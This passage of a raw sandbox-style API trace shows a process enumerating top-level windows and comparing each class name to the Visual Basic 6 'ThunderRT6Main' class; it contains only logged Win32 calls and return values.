GetWindowThreadProcessId (in: hWnd=0x101b8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x888 [0237.910] GetWindow (hWnd=0x101b8, uCmd=0x2) returned 0x101ba [0237.910] GetClassNameA (in: hWnd=0x101ba, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="IME") returned 3 [0237.910] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0237.910] GetWindowThreadProcessId (in: hWnd=0x101ba, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x888 [0237.910] GetWindow (hWnd=0x101ba, uCmd=0x2) returned 0x101b4 [0237.910] GetClassNameA (in: hWnd=0x101b4, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="alftpwnd") returned 8 [0237.910] lstrcmpA (lpString1="alftpwnd", lpString2="ThunderRT6Main") returned -1 [0237.910] GetWindowThreadProcessId (in: hWnd=0x101b4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x878 [0237.910] GetWindow (hWnd=0x101b4, uCmd=0x2) returned 0x101b6 [0237.910] GetClassNameA (in: hWnd=0x101b6, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="IME") returned 3 [0237.910] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0237.910] GetWindowThreadProcessId (in: hWnd=0x101b6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x878 [0237.910] GetWindow (hWnd=0x101b6, uCmd=0x2) returned 0x101b0 [0237.910] GetClassNameA (in: hWnd=0x101b0, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="absolutetelnet_window") returned 21 [0237.910] lstrcmpA (lpString1="absolutetelnet_window", lpString2="ThunderRT6Main") returned -1 [0237.910] GetWindowThreadProcessId (in: hWnd=0x101b0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x868 [0237.910] GetWindow (hWnd=0x101b0, uCmd=0x2) returned 0x101b2 [0237.910] GetClassNameA (in: hWnd=0x101b2, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="IME") returned 3 [0237.910] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0237.910] GetWindowThreadProcessId (in: hWnd=0x101b2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x868 [0237.910] GetWindow (hWnd=0x101b2, uCmd=0x2) returned 0x101ac [0237.910] GetClassNameA (in: hWnd=0x101ac, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="3dftp_win") returned 9 [0237.910] lstrcmpA (lpString1="3dftp_win", lpString2="ThunderRT6Main") returned -1 [0237.910] GetWindowThreadProcessId (in: hWnd=0x101ac, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x858 [0237.911] GetWindow (hWnd=0x101ac, uCmd=0x2) returned 0x101ae [0237.911] GetClassNameA (in: hWnd=0x101ae, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="IME") returned 3 [0237.911] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0237.911] GetWindowThreadProcessId (in: hWnd=0x101ae, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x858 [0237.911] GetWindow (hWnd=0x101ae, uCmd=0x2) returned 0x101a8 [0237.911] GetClassNameA (in: hWnd=0x101a8, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="purchaseclass") returned 13 [0237.911] lstrcmpA (lpString1="purchaseclass", lpString2="ThunderRT6Main") returned -1 [0237.911] GetWindowThreadProcessId (in: hWnd=0x101a8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x848 [0237.911] GetWindow (hWnd=0x101a8, uCmd=0x2) returned 0x101aa [0237.911] GetClassNameA (in: hWnd=0x101aa, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="IME") returned 3 [0237.911] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0237.911] GetWindowThreadProcessId (in: hWnd=0x101aa, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x848 [0237.911] GetWindow (hWnd=0x101aa, uCmd=0x2) returned 0x101a4 [0237.911] GetClassNameA (in: hWnd=0x101a4, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="bent_Individually_class") returned 23 [0237.911] lstrcmpA (lpString1="bent_Individually_class", lpString2="ThunderRT6Main") returned -1 [0237.911] GetWindowThreadProcessId (in: hWnd=0x101a4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x838 [0237.911] GetWindow (hWnd=0x101a4, uCmd=0x2) returned 0x101a6 [0237.911] GetClassNameA (in: hWnd=0x101a6, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="IME") returned 3 [0237.911] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0237.911] GetWindowThreadProcessId (in: hWnd=0x101a6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x838 [0237.911] GetWindow (hWnd=0x101a6, uCmd=0x2) returned 0x101a0 [0237.911] GetClassNameA (in: hWnd=0x101a0, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="cruises_Thickness_cls") returned 21 [0237.911] lstrcmpA (lpString1="cruises_Thickness_cls", lpString2="ThunderRT6Main") returned -1 [0237.911] GetWindowThreadProcessId (in: hWnd=0x101a0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x828 [0237.911] GetWindow (hWnd=0x101a0, uCmd=0x2) returned 0x101a2 [0237.911] GetClassNameA (in: hWnd=0x101a2, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="IME") returned 3 [0237.912] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0237.912] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x828 [0237.912] GetWindow (hWnd=0x101a2, uCmd=0x2) returned 0x1019c [0237.912] GetClassNameA (in: hWnd=0x1019c, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="Bloomansweringwnd") returned 17 [0237.912] lstrcmpA (lpString1="Bloomansweringwnd", lpString2="ThunderRT6Main") returned -1 [0237.912] GetWindowThreadProcessId (in: hWnd=0x1019c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x818 [0237.912] GetWindow (hWnd=0x1019c, uCmd=0x2) returned 0x1019e [0237.912] GetClassNameA (in: hWnd=0x1019e, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="IME") returned 3 [0237.912] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0237.912] GetWindowThreadProcessId (in: hWnd=0x1019e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x818 [0237.912] GetWindow (hWnd=0x1019e, uCmd=0x2) returned 0x10198 [0237.912] GetClassNameA (in: hWnd=0x10198, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="Ownerbmwin") returned 10 [0237.912] lstrcmpA (lpString1="Ownerbmwin", lpString2="ThunderRT6Main") returned -1 [0237.912] GetWindowThreadProcessId (in: hWnd=0x10198, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x804 [0237.912] GetWindow (hWnd=0x10198, uCmd=0x2) returned 0x1019a [0237.912] GetClassNameA (in: hWnd=0x1019a, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="IME") returned 3 [0237.912] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0237.912] GetWindowThreadProcessId (in: hWnd=0x1019a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x804 [0237.912] GetWindow (hWnd=0x1019a, uCmd=0x2) returned 0x10194 [0237.912] GetClassNameA (in: hWnd=0x10194, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="hawk_Tasks_app") returned 14 [0237.912] lstrcmpA (lpString1="hawk_Tasks_app", lpString2="ThunderRT6Main") returned -1 [0237.912] GetWindowThreadProcessId (in: hWnd=0x10194, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x40c [0237.912] GetWindow (hWnd=0x10194, uCmd=0x2) returned 0x10196 [0237.912] GetClassNameA (in: hWnd=0x10196, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="IME") returned 3 [0237.912] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0237.913] GetWindowThreadProcessId (in: hWnd=0x10196, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x40c [0237.913] GetWindow (hWnd=0x10196, uCmd=0x2) returned 0x10190 [0237.913] GetClassNameA (in: hWnd=0x10190, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="Bernard_award_window") returned 20 [0237.913] lstrcmpA (lpString1="Bernard_award_window", lpString2="ThunderRT6Main") returned -1 [0237.913] GetWindowThreadProcessId (in: hWnd=0x10190, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xc0 [0237.913] GetWindow (hWnd=0x10190, uCmd=0x2) returned 0x10192 [0237.913] GetClassNameA (in: hWnd=0x10192, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="IME") returned 3 [0237.913] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0237.913] GetWindowThreadProcessId (in: hWnd=0x10192, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xc0 [0237.913] GetWindow (hWnd=0x10192, uCmd=0x2) returned 0x1018a [0237.913] GetClassNameA (in: hWnd=0x1018a, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="bluescls") returned 8 [0237.913] lstrcmpA (lpString1="bluescls", lpString2="ThunderRT6Main") returned -1 [0237.913] GetWindowThreadProcessId (in: hWnd=0x1018a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x2c4 [0237.913] GetWindow (hWnd=0x1018a, uCmd=0x2) returned 0x2018e [0237.913] GetClassNameA (in: hWnd=0x2018e, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="IME") returned 3 [0237.913] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0237.913] GetWindowThreadProcessId (in: hWnd=0x2018e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x2c4 [0237.913] GetWindow (hWnd=0x2018e, uCmd=0x2) returned 0x10186 [0237.913] GetClassNameA (in: hWnd=0x10186, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="promotingweightedcls") returned 20 [0237.913] lstrcmpA (lpString1="promotingweightedcls", lpString2="ThunderRT6Main") returned -1 [0237.913] GetWindowThreadProcessId (in: hWnd=0x10186, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x564 [0237.913] GetWindow (hWnd=0x10186, uCmd=0x2) returned 0x10188 [0237.913] GetClassNameA (in: hWnd=0x10188, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="IME") returned 3 [0237.913] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0237.913] GetWindowThreadProcessId (in: hWnd=0x10188, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x564 [0237.913] GetWindow (hWnd=0x10188, uCmd=0x2) returned 0x10180 [0237.913] GetClassNameA (in: hWnd=0x10180, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="WordsRetainedremovalapp") returned 23 [0237.914] lstrcmpA (lpString1="WordsRetainedremovalapp", lpString2="ThunderRT6Main") returned 1 [0237.914] GetWindowThreadProcessId (in: hWnd=0x10180, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x520 [0237.914] GetWindow (hWnd=0x10180, uCmd=0x2) returned 0x10184 [0237.914] GetClassNameA (in: hWnd=0x10184, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="IME") returned 3 [0237.914] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0237.914] GetWindowThreadProcessId (in: hWnd=0x10184, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x520 [0237.914] GetWindow (hWnd=0x10184, uCmd=0x2) returned 0x1017c [0237.914] GetClassNameA (in: hWnd=0x1017c, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="famemoderatorwindow") returned 19 [0237.914] lstrcmpA (lpString1="famemoderatorwindow", lpString2="ThunderRT6Main") returned -1 [0237.914] GetWindowThreadProcessId (in: hWnd=0x1017c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4f8 [0237.914] GetWindow (hWnd=0x1017c, uCmd=0x2) returned 0x1017e [0237.914] GetClassNameA (in: hWnd=0x1017e, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="IME") returned 3 [0237.914] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0237.914] GetWindowThreadProcessId (in: hWnd=0x1017e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4f8 [0237.914] GetWindow (hWnd=0x1017e, uCmd=0x2) returned 0x10178 [0237.914] GetClassNameA (in: hWnd=0x10178, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="Gpluckywindow") returned 13 [0237.914] lstrcmpA (lpString1="Gpluckywindow", lpString2="ThunderRT6Main") returned -1 [0237.914] GetWindowThreadProcessId (in: hWnd=0x10178, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x528 [0237.914] GetWindow (hWnd=0x10178, uCmd=0x2) returned 0x1017a [0237.914] GetClassNameA (in: hWnd=0x1017a, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="IME") returned 3 [0237.914] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0237.914] GetWindowThreadProcessId (in: hWnd=0x1017a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x528 [0237.914] GetWindow (hWnd=0x1017a, uCmd=0x2) returned 0x10174 [0237.914] GetClassNameA (in: hWnd=0x10174, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="mediterraneanTallwin") returned 20 [0237.914] lstrcmpA (lpString1="mediterraneanTallwin", lpString2="ThunderRT6Main") returned -1 [0237.915] GetWindowThreadProcessId (in: hWnd=0x10174, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xc4 [0237.915] GetWindow (hWnd=0x10174, uCmd=0x2) returned 0x10176 [0237.915] GetClassNameA (in: hWnd=0x10176, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="IME") returned 3 [0237.915] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0237.915] GetWindowThreadProcessId (in: hWnd=0x10176, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xc4 [0237.915] GetWindow (hWnd=0x10176, uCmd=0x2) returned 0x20170 [0237.915] GetClassNameA (in: hWnd=0x20170, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="Essays_Attorneys_wnd") returned 20 [0237.915] lstrcmpA (lpString1="Essays_Attorneys_wnd", lpString2="ThunderRT6Main") returned -1 [0237.915] GetWindowThreadProcessId (in: hWnd=0x20170, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x414 [0237.915] GetWindow (hWnd=0x20170, uCmd=0x2) returned 0x10172 [0237.915] GetClassNameA (in: hWnd=0x10172, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="IME") returned 3 [0237.915] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0237.915] GetWindowThreadProcessId (in: hWnd=0x10172, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x414 [0237.915] GetWindow (hWnd=0x10172, uCmd=0x2) returned 0x1016c [0237.915] GetClassNameA (in: hWnd=0x1016c, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="Adequate_Downloading_window") returned 27 [0237.915] lstrcmpA (lpString1="Adequate_Downloading_window", lpString2="ThunderRT6Main") returned -1 [0237.915] GetWindowThreadProcessId (in: hWnd=0x1016c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x688 [0237.915] GetWindow (hWnd=0x1016c, uCmd=0x2) returned 0x1016e [0237.915] GetClassNameA (in: hWnd=0x1016e, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="IME") returned 3 [0237.915] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0237.915] GetWindowThreadProcessId (in: hWnd=0x1016e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x688 [0237.915] GetWindow (hWnd=0x1016e, uCmd=0x2) returned 0x10168 [0237.915] GetClassNameA (in: hWnd=0x10168, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="Cruises_Construct_win") returned 21 [0237.915] lstrcmpA (lpString1="Cruises_Construct_win", lpString2="ThunderRT6Main") returned -1 [0237.915] GetWindowThreadProcessId (in: hWnd=0x10168, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6a8 [0237.915] GetWindow (hWnd=0x10168, uCmd=0x2) returned 0x1016a [0237.915] GetClassNameA (in: hWnd=0x1016a, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="IME") returned 3 [0237.916] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0237.916] GetWindowThreadProcessId (in: hWnd=0x1016a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6a8 [0237.916] GetWindow (hWnd=0x1016a, uCmd=0x2) returned 0x10164 [0237.916] GetClassNameA (in: hWnd=0x10164, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="Causing_Fighting_platinum_") returned 26 [0237.916] lstrcmpA (lpString1="Causing_Fighting_platinum_", lpString2="ThunderRT6Main") returned -1 [0237.916] GetWindowThreadProcessId (in: hWnd=0x10164, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x188 [0237.916] GetWindow (hWnd=0x10164, uCmd=0x2) returned 0x10166 [0237.916] GetClassNameA (in: hWnd=0x10166, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="IME") returned 3 [0237.916] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0237.916] GetWindowThreadProcessId (in: hWnd=0x10166, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x188 [0237.916] GetWindow (hWnd=0x10166, uCmd=0x2) returned 0x10160 [0237.916] GetClassNameA (in: hWnd=0x10160, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="ConflictBindingunit") returned 19 [0237.916] lstrcmpA (lpString1="ConflictBindingunit", lpString2="ThunderRT6Main") returned -1 [0237.916] GetWindowThreadProcessId (in: hWnd=0x10160, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7e4 [0237.916] GetWindow (hWnd=0x10160, uCmd=0x2) returned 0x10162 [0237.916] GetClassNameA (in: hWnd=0x10162, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="IME") returned 3 [0237.916] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0237.916] GetWindowThreadProcessId (in: hWnd=0x10162, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7e4 [0237.916] GetWindow (hWnd=0x10162, uCmd=0x2) returned 0x300fa [0237.916] GetClassNameA (in: hWnd=0x300fa, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="Packrxapp") returned 9 [0237.916] lstrcmpA (lpString1="Packrxapp", lpString2="ThunderRT6Main") returned -1 [0237.916] GetWindowThreadProcessId (in: hWnd=0x300fa, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x574 [0237.916] GetWindow (hWnd=0x300fa, uCmd=0x2) returned 0x1015e [0237.916] GetClassNameA (in: hWnd=0x1015e, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="IME") returned 3 [0237.916] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0237.916] GetWindowThreadProcessId (in: hWnd=0x1015e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x574 [0237.917] GetWindow (hWnd=0x1015e, uCmd=0x2) returned 0x50102 [0237.917] GetClassNameA (in: hWnd=0x50102, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="Cells_Surfaces_window") returned 21 [0237.917] lstrcmpA (lpString1="Cells_Surfaces_window", lpString2="ThunderRT6Main") returned -1 [0237.917] GetWindowThreadProcessId (in: hWnd=0x50102, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x770 [0237.917] GetWindow (hWnd=0x50102, uCmd=0x2) returned 0x30108 [0237.917] GetClassNameA (in: hWnd=0x30108, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="IME") returned 3 [0237.917] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0237.917] GetWindowThreadProcessId (in: hWnd=0x30108, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x770 [0237.917] GetWindow (hWnd=0x30108, uCmd=0x2) returned 0x3015a [0237.917] GetClassNameA (in: hWnd=0x3015a, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="FaxMonWinClass{3FD224BA-8556-47fb-B260-3E451BAE2793}") returned 52 [0237.917] lstrcmpA (lpString1="FaxMonWinClass{3FD224BA-8556-47fb-B260-3E451BAE2793}", lpString2="ThunderRT6Main") returned -1 [0237.917] GetWindowThreadProcessId (in: hWnd=0x3015a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x468 [0237.917] GetWindow (hWnd=0x3015a, uCmd=0x2) returned 0x10146 [0237.917] GetClassNameA (in: hWnd=0x10146, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="BluetoothNotificationAreaIconWindowClass") returned 40 [0237.917] lstrcmpA (lpString1="BluetoothNotificationAreaIconWindowClass", lpString2="ThunderRT6Main") returned -1 [0237.917] GetWindowThreadProcessId (in: hWnd=0x10146, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x50c [0237.917] GetWindow (hWnd=0x10146, uCmd=0x2) returned 0x10144 [0237.917] GetClassNameA (in: hWnd=0x10144, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="MS_WebcheckMonitor") returned 18 [0237.917] lstrcmpA (lpString1="MS_WebcheckMonitor", lpString2="ThunderRT6Main") returned -1 [0237.917] GetWindowThreadProcessId (in: hWnd=0x10144, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x46c [0237.917] GetWindow (hWnd=0x10144, uCmd=0x2) returned 0x2013a [0237.917] GetClassNameA (in: hWnd=0x2013a, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="PNIHiddenWnd") returned 12 [0237.917] lstrcmpA (lpString1="PNIHiddenWnd", lpString2="ThunderRT6Main") returned -1 [0237.917] GetWindowThreadProcessId (in: hWnd=0x2013a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x50c [0237.918] GetWindow (hWnd=0x2013a, uCmd=0x2) returned 0x1012e [0237.918] GetClassNameA (in: hWnd=0x1012e, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="Media Center SSO") returned 16 [0237.918] lstrcmpA (lpString1="Media Center SSO", lpString2="ThunderRT6Main") returned -1 [0237.918] GetWindowThreadProcessId (in: hWnd=0x1012e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x46c [0237.918] GetWindow (hWnd=0x1012e, uCmd=0x2) returned 0x10130 [0237.918] GetClassNameA (in: hWnd=0x10130, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="IME") returned 3 [0237.918] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0237.918] GetWindowThreadProcessId (in: hWnd=0x10130, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x46c [0237.918] GetWindow (hWnd=0x10130, uCmd=0x2) returned 0x10124 [0237.918] GetClassNameA (in: hWnd=0x10124, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="ATL:000007FEFBEA41F0") returned 20 [0237.918] lstrcmpA (lpString1="ATL:000007FEFBEA41F0", lpString2="ThunderRT6Main") returned -1 [0237.918] GetWindowThreadProcessId (in: hWnd=0x10124, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x50c [0237.918] GetWindow (hWnd=0x10124, uCmd=0x2) returned 0x10126 [0237.918] GetClassNameA (in: hWnd=0x10126, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="IME") returned 3 [0237.918] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0237.918] GetWindowThreadProcessId (in: hWnd=0x10126, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x50c [0237.918] GetWindow (hWnd=0x10126, uCmd=0x2) returned 0x10118 [0237.918] GetClassNameA (in: hWnd=0x10118, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="SystemTray_Main") returned 15 [0237.918] lstrcmpA (lpString1="SystemTray_Main", lpString2="ThunderRT6Main") returned -1 [0237.918] GetWindowThreadProcessId (in: hWnd=0x10118, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x468 [0237.918] GetWindow (hWnd=0x10118, uCmd=0x2) returned 0x1011a [0237.918] GetClassNameA (in: hWnd=0x1011a, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="IME") returned 3 [0237.918] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0237.918] GetWindowThreadProcessId (in: hWnd=0x1011a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x468 [0237.918] GetWindow (hWnd=0x1011a, uCmd=0x2) returned 0x10116 [0237.919] GetClassNameA (in: hWnd=0x10116, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0237.919] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0237.919] GetWindowThreadProcessId (in: hWnd=0x10116, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x468 [0237.919] GetWindow (hWnd=0x10116, uCmd=0x2) returned 0x20018 [0237.919] GetClassNameA (in: hWnd=0x20018, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="OneNoteM") returned 8 [0237.919] lstrcmpA (lpString1="OneNoteM", lpString2="ThunderRT6Main") returned -1 [0237.919] GetWindowThreadProcessId (in: hWnd=0x20018, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x544 [0237.919] GetWindow (hWnd=0x20018, uCmd=0x2) returned 0x2001a [0237.919] GetClassNameA (in: hWnd=0x2001a, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="IME") returned 3 [0237.919] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0237.919] GetWindowThreadProcessId (in: hWnd=0x2001a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x544 [0237.919] GetWindow (hWnd=0x2001a, uCmd=0x2) returned 0x2001c [0237.919] GetClassNameA (in: hWnd=0x2001c, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="GDI+ Hook Window Class") returned 22 [0237.919] lstrcmpA (lpString1="GDI+ Hook Window Class", lpString2="ThunderRT6Main") returned -1 [0237.919] GetWindowThreadProcessId (in: hWnd=0x2001c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x76c [0237.919] GetWindow (hWnd=0x2001c, uCmd=0x2) returned 0x20016 [0237.919] GetClassNameA (in: hWnd=0x20016, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="IME") returned 3 [0237.919] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0237.919] GetWindowThreadProcessId (in: hWnd=0x20016, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x76c [0237.919] GetWindow (hWnd=0x20016, uCmd=0x2) returned 0x200a2 [0237.919] GetClassNameA (in: hWnd=0x200a2, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="TASKENGINEWINDOWCLASS") returned 21 [0237.919] lstrcmpA (lpString1="TASKENGINEWINDOWCLASS", lpString2="ThunderRT6Main") returned -1 [0237.919] GetWindowThreadProcessId (in: hWnd=0x200a2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x584 [0237.919] GetWindow (hWnd=0x200a2, uCmd=0x2) returned 0x1010a [0237.919] GetClassNameA (in: hWnd=0x1010a, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="IME") returned 3 [0237.920] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0237.920] GetWindowThreadProcessId (in: hWnd=0x1010a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x584 [0237.920] GetWindow (hWnd=0x1010a, uCmd=0x2) returned 0x10106 [0237.920] GetClassNameA (in: hWnd=0x10106, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0237.920] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0237.920] GetWindowThreadProcessId (in: hWnd=0x10106, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x570 [0237.920] GetWindow (hWnd=0x10106, uCmd=0x2) returned 0x10104 [0237.920] GetClassNameA (in: hWnd=0x10104, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0237.920] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0237.920] GetWindowThreadProcessId (in: hWnd=0x10104, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x45c [0237.920] GetWindow (hWnd=0x10104, uCmd=0x2) returned 0x10100 [0237.920] GetClassNameA (in: hWnd=0x10100, lpClassName=0x188a90, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0237.920] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0237.920] GetWindowThreadProcessId (in: hWnd=0x10100, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x45c [0237.920] 